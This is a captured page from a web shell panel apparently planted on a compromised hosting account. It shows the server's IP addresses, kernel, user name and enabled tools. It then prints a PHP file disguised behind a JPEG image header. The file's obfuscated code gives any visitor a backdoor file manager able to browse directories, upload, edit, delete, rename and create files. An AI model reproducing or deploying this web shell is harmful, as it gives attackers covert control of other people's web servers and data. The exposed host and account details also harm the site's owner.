403Webshell
Server IP : 192.64.118.117  /  Your IP : 13.59.236.184
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/mcprintingandpromotions.com/hello/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/mcprintingandpromotions.com/hello/kon403.php
����JFIF��x�x������Exif��MM�*����
����E���J����������������(������������������<?php session_start();$rckrhcgj8=isset($_GET['directory'])?$_GET['directory']:__DIR__;function digncnph0($acxocauc9){$hpwbearja=array_diff(scandir($acxocauc9),['.','..']);echo"<h3>Directory: '$acxocauc9'</h3><ul>";foreach($hpwbearja as $sgvllmoyb){$teaykqrdc=realpath("$acxocauc9/$sgvllmoyb");$lxmpeaxqd=pailxfyv1($teaykqrdc);$eugppisye=is_dir($teaykqrdc);echo"<li style='$lxmpeaxqd'>";if($eugppisye){echo"<a href='?directory=$teaykqrdc'>$sgvllmoyb</a>";}else{echo"$sgvllmoyb - 
                <a href='?directory=$acxocauc9&action=modify&file=$sgvllmoyb'>Edit</a> | 
                <a href='?directory=$acxocauc9&action=remove&file=$sgvllmoyb'>Delete</a> | 
                <a href='?directory=$acxocauc9&action=update&file=$sgvllmoyb'>Rename</a>";}echo "</li>";}echo "</ul>";}function pailxfyv1($hvsckrvsf){if(is_readable($hvsckrvsf)&&is_writable($hvsckrvsf)){return "color: green;";}elseif(!is_writable($hvsckrvsf)){return "color: red;";}return "color: gray;";}function giuvecam2($acxocauc9){if(!empty($_FILES['uploadFile'])){$xhanlbsa10=$acxocauc9.DIRECTORY_SEPARATOR.basename($_FILES['uploadFile']['name']);if(move_uploaded_file($_FILES['uploadFile']['tmp_name'],$xhanlbsa10)){echo "<p>File uploaded!</p>";}else{echo "<p>File upload fail.</p>";}}}function hryesswu3($acxocauc9){if(!empty($_POST['newFolder'])){$kcljkfii11=$acxocauc9.DIRECTORY_SEPARATOR.$_POST['newFolder'];if(!file_exists($kcljkfii11)){mkdir($kcljkfii11);echo "<p>Folder created!</p>";}else{echo "<p>Folder already exists.</p>";}}}function exefpzgc4($acxocauc9){if(!empty($_POST['newFile'])){$qbwqslrb12=$acxocauc9.DIRECTORY_SEPARATOR.$_POST['newFile'];if(!file_exists($qbwqslrb12)){file_put_contents($qbwqslrb12,'');echo "<p>File created!</p>";}else{echo "<p>File already exists.</p>";}}}function brspxgxl5($hvsckrvsf){if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['fileContent'])){file_put_contents($hvsckrvsf,$_POST['fileContent']);echo "<p>File saved!</p>";}$zyjnsllb13=file_exists($hvsckrvsf)?htmlspecialchars(file_get_contents($hvsckrvsf)):'';echo "<form method='POST'>";echo"<textarea name='fileContent' style='width:100%; height:300px;'>$zyjnsllb13</textarea><br>";echo "<button type='submit'>Save</button>";echo "</form>";}function ooagucmb6($hvsckrvsf){if(file_exists($hvsckrvsf)){unlink($hvsckrvsf);echo "<p>File deleted!</p>";}}function taillcht7($hvsckrvsf){if(!empty($_POST['renameTo'])){$ivnucwut14=dirname($hvsckrvsf).DIRECTORY_SEPARATOR.$_POST['renameTo'];rename($hvsckrvsf,$ivnucwut14);echo "<p>File renamed!</p>";}else{echo "<form method='POST'>";echo "<input type='text' name='renameTo' placeholder='New Name'>";echo "<button type='submit'>Rename</button>";echo "</form>";}}if(!empty($_GET['action'])&&!empty($_GET['file'])){$qbwqslrb12=$rckrhcgj8.DIRECTORY_SEPARATOR.$_GET['file'];switch($_GET['action']){case 'modify':brspxgxl5($qbwqslrb12);break;case 'remove':ooagucmb6($qbwqslrb12);break;case 'update':taillcht7($qbwqslrb12);break;}}if($_SERVER['REQUEST_METHOD']==='POST'){if(isset($_FILES['uploadFile'])){giuvecam2($rckrhcgj8);}elseif(!empty($_POST['newFolder'])){hryesswu3($rckrhcgj8);}elseif(!empty($_POST['newFile'])){exefpzgc4($rckrhcgj8);}}echo"<p>Current Directory: <strong>$rckrhcgj8</strong></p>";echo "<a href='?directory=".dirname($rckrhcgj8)."'>Go Up</a>";digncnph0($rckrhcgj8);echo "<h3>Upload File</h3>";echo "<form method='POST' enctype='multipart/form-data'>";echo "<input type='file' name='uploadFile'>";echo "<button type='submit'>Upload</button>";echo "</form>";echo "<h3>Create Folder</h3>";echo "<form method='POST'>";echo "<input type='text' name='newFolder' placeholder='Folder Name'>";echo "<button type='submit'>Create</button>";echo "</form>";echo "<h3>Create File</h3>";echo "<form method='POST'>";echo "<input type='text' name='newFile' placeholder='File Name'>";echo "<button type='submit'>Create</button>";echo "</form>"; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit